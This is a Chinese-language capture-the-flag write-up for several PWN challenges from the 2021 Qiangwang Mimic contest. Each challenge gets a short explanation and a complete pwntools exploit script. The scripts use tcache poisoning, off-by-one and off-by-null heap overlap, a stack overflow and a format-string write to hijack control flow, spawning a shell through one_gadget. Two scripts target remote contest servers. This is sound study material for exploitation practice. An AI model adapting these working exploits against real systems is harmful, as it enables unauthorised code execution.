2021第四屆強網擬態PWN-wp
阿新 • • 發佈:2021-10-27
random_heap
原本以為這題是控隨機數,因為之前做過一個題目是控隨機數的,賽後仔細想想這兩道題都不一樣,浪費了很多時間,導致比賽的時候沒做出來。
暴力直接把tcache填滿,因為有UAF,可以洩露出unsorted bin裡面的main_arena
,當然有臉黑的時候沒有放入unsorted bin,那就重新執行直到洩露出地址。在程式碼裡記下unsorted bin的下標,然後改tcache的fd指標,遇到unsorted bin的時候跳過,不要修改到它,要不然直接報錯了。最後再全部申請回來,這時候肯定是會申請到目的地址的,然後再寫入one_gadget
from pwn import * from pwn import p64,u64,p32,u32,p8 from ctypes import * # dll = cdll.LoadLibrary("/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") # libc = cdll.LoadLibrary("/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so") # seed = libc.rand() context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./random_heap') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/home/unravel/Downloads/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so') io = process('random_heap') def add(idx,size=0): io.sendlineafter('Your choice: ', '1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) def delete(idx): io.sendlineafter('Your choice: ', '4') io.sendlineafter('Index: ', str(idx)) def edit(idx,content): io.sendlineafter('Your choice: ', '2') io.sendlineafter('Index: ', str(idx)) io.sendafter('Content: ', content) def show(idx): io.sendlineafter('Your choice: ', '3') io.sendlineafter('Index: ', str(idx)) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak for i in range(64): add(i,0x100) idx = 0 for i in range(64): delete(i) show(i) io.recvuntil('Content: ') leak = u64(io.recv(6).ljust(8,b'\x00')) if (leak >> 40)==0x7f: idx = i break else: continue show(idx) leak = recv() info(hex(leak)) libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10 info(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] info(hex(free_hook)) for i in range(64): if i == idx: continue else: edit(i,p64(free_hook)) for i in range(64): add(i,0x100) ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4f432 for i in range(64): edit(i,p64(one_gadget)) delete(0) # gdb.attach(io, 'x/30xg $rebase(0x202260)') io.interactive()
sonic
棧溢位簽到題(本地沒裝cli所以不會得到flag,直接打遠端)
from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./sonic') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') # libc = ELF('') nologin = 0x73a # io = process('./sonic') io = remote('123.60.63.90','6889') def exp(): io.recvuntil('main Address=') elf_base = eval(io.recv(14)) - 0x7cf info(hex(elf_base)) # io.recvuntil('login:') payload = b'a'*0x28+p64(elf_base+nologin) # gdb.attach(io) io.sendline(payload) exp() io.interactive()
old_school
off-by-one,堆塊重疊構造tcache attack
from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./old_school') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') # io = process('./old_school') io = remote('121.36.194.21','49154') def add(idx,size): io.sendlineafter('Your choice: ','1') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) def delete(idx): io.sendlineafter('Your choice: ','4') io.sendlineafter('Index: ', str(idx)) def edit(idx,content): io.sendlineafter('Your choice: ','2') io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Content: ', content) def show(idx): io.sendlineafter('Your choice: ','3') io.sendlineafter('Index: ', str(idx)) def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak for i in range(9): add(i,0xa0) #0-8 for i in range(7): delete(i) delete(7) add(0,0x18) show(0) leak = recv() info(hex(leak)) libc_base = leak - 256 - libc.sym['__malloc_hook']-0x10 info(hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] info(hex(free_hook)) add(1,0x18) add(2,0x68) delete(2) edit(0,p64(0)*3+p8(0x91)) delete(1) add(3,0x88) edit(3,p64(0)*3+p64(0x71)+p64(free_hook)) add(4,0x68) add(5,0x68) ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' one_gadget = libc_base + 0x4f432 edit(5,p64(one_gadget)) # gdb.attach(io, 'x/20xg $rebase(0x202160)') delete(0) io.interactive()
old_school_revenge
還是上面的題把off-by-one改成了off-by-null,構造堆塊重疊然後修改tcache的fd指向free_hook
from pwn import *
from pwn import p64, u64, p32, u32, p8
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']
# elf = ELF('./old_school')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
io = process('./old_school_revenge')
# io = remote('121.36.194.21', '49154')
def add(idx, size):
io.sendlineafter('Your choice: ', '1')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Size: ', str(size))
def delete(idx):
io.sendlineafter('Your choice: ', '4')
io.sendlineafter('Index: ', str(idx))
def edit(idx, content):
io.sendlineafter('Your choice: ', '2')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Content: ', content)
def show(idx):
io.sendlineafter('Your choice: ', '3')
io.sendlineafter('Index: ', str(idx))
def recv():
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return leak
for i in range(7):
add(i,0xf8)
add(7,0xf8) # chunk 7
add(8,0xf8) # chunk 8
add(9,0xf8) # chunk 9
add(10,0xf8) # chunk 10
for i in range(7):
delete(i)
delete(7)
edit(8,b'\x00'*0xf0+p64(0x200)) # chunk 9->prev_size = chunk 8 + chunk 7, chunk 9->inuse=0
delete(9)
for i in range(7):
add(i,0xf8)
add(0x11,0xf8)
show(17)
leak = recv()
info(hex(leak))
libc_base = leak - libc.sym['__malloc_hook'] - 848-0x10
info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
info(hex(free_hook))
add(12,0x60)
delete(12)
edit(8,p64(free_hook))
add(13,0x60)
add(14,0x60)
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4f432
edit(14,p64(one_gadget))
delete(0)
# gdb.attach(io,'x/24xg $rebase(0x202160)')
io.interactive()
bitflip
標準的2.27 off-by-one利用,限制申請size不大於0x50,所以需要構造多個chunk來進行合併,然後構造chunk和unsorted bin重疊,申請後修改tcache的fd指標指向malloc_hook
,tcache不檢查size大小,所以可以直接申請成功,然後寫入one_gadget
from pwn import *
from pwn import p64,u64,p32,u32,p8
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
# elf = ELF('./bitflip')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
io = process('./bitflip')
def add(idx,size): # size<=0x50
io.sendlineafter('Your choice: ','1')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Size: ', str(size))
def delete(idx):
io.sendlineafter('Your choice: ','4')
io.sendlineafter('Index: ', str(idx))
def edit(idx,content):
io.sendlineafter('Your choice: ','2')
io.sendlineafter('Index: ', str(idx))
io.sendlineafter('Content: ', content)
def show(idx):
io.sendlineafter('Your choice: ','3')
io.sendlineafter('Index: ', str(idx))
def chance(addr):
io.sendlineafter('Your choice: ',str(0x666))
io.sendlineafter('Address: ',str(addr))
def recv():
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
return leak
for i in range(16):
add(i,0x48)
for i in range(8):
edit(i,b'\x00'*0x48+p8(0xa1))
for i in range(1,8):
delete(i)
edit(8,b'\x00'*0x48+p8(0xa1))
delete(9)
add(9,0x48)
edit(9,b'\x00'*0x48+p8(0x61))
show(10)
leak = recv()
libc_base =leak - 96 - 0x10 - libc.sym['__malloc_hook']
info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
info(hex(free_hook))
add(1,0x50)
delete(10)
# chance(malloc_hook-0x20) # _IO_wide_data_0+30 = 0x00007ffff7dc9d60 -> 0x00007ffff7dc9d61
edit(1,p64(free_hook))
add(2,0x50)
add(3,0x50)
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4f432
edit(3,p64(one_gadget))
delete(0)
# gdb.attach(io,'x/30xg $rebase(0x202160)')
io.interactive()
pwnpwn
格式化字串漏洞,程式中有後門函式,需要自己寫入引數,利用後門函式中的片段彙編程式碼即可,過程中需要注意位元組對齊
from pwn import *
from pwn import p64,u64,p32,u32,p8
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
# elf = ELF('./pwnpwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
io = process('./pwnpwn')
def exp():
io.recvuntil('welcome to mimic world,try something\n')
io.sendline(str(1))
io.recvuntil('let us give you some trick\n')
leak = eval(io.recv(14))
info(hex(leak))
elf_base = leak - 0x9b9
info(hex(elf_base))
io.sendline(str(2))
io.sendlineafter('hello','%22$p')
io.recvuntil('\n')
rbp = eval(io.recv(14))
info(hex(rbp))
shell = 0x94A + elf_base
ret_addr = rbp - 0x28
io.sendline(str(2))
p = b'a'+fmtstr_payload(8,{ret_addr:shell},write_size='short')
io.send(p)
p = fmtstr_payload(8,{ret_addr+0x18-2:0x6873},write_size='short')
# gdb.attach(io,'b *$rebase(0x9f6)')
io.send(p)
exp()
io.interactive()
bornote
2.31的off by null,暫時還不會,復現了再貼
oldecho
關閉了stdout
,觸及到知識盲區了,還是太菜了,復現了再貼吧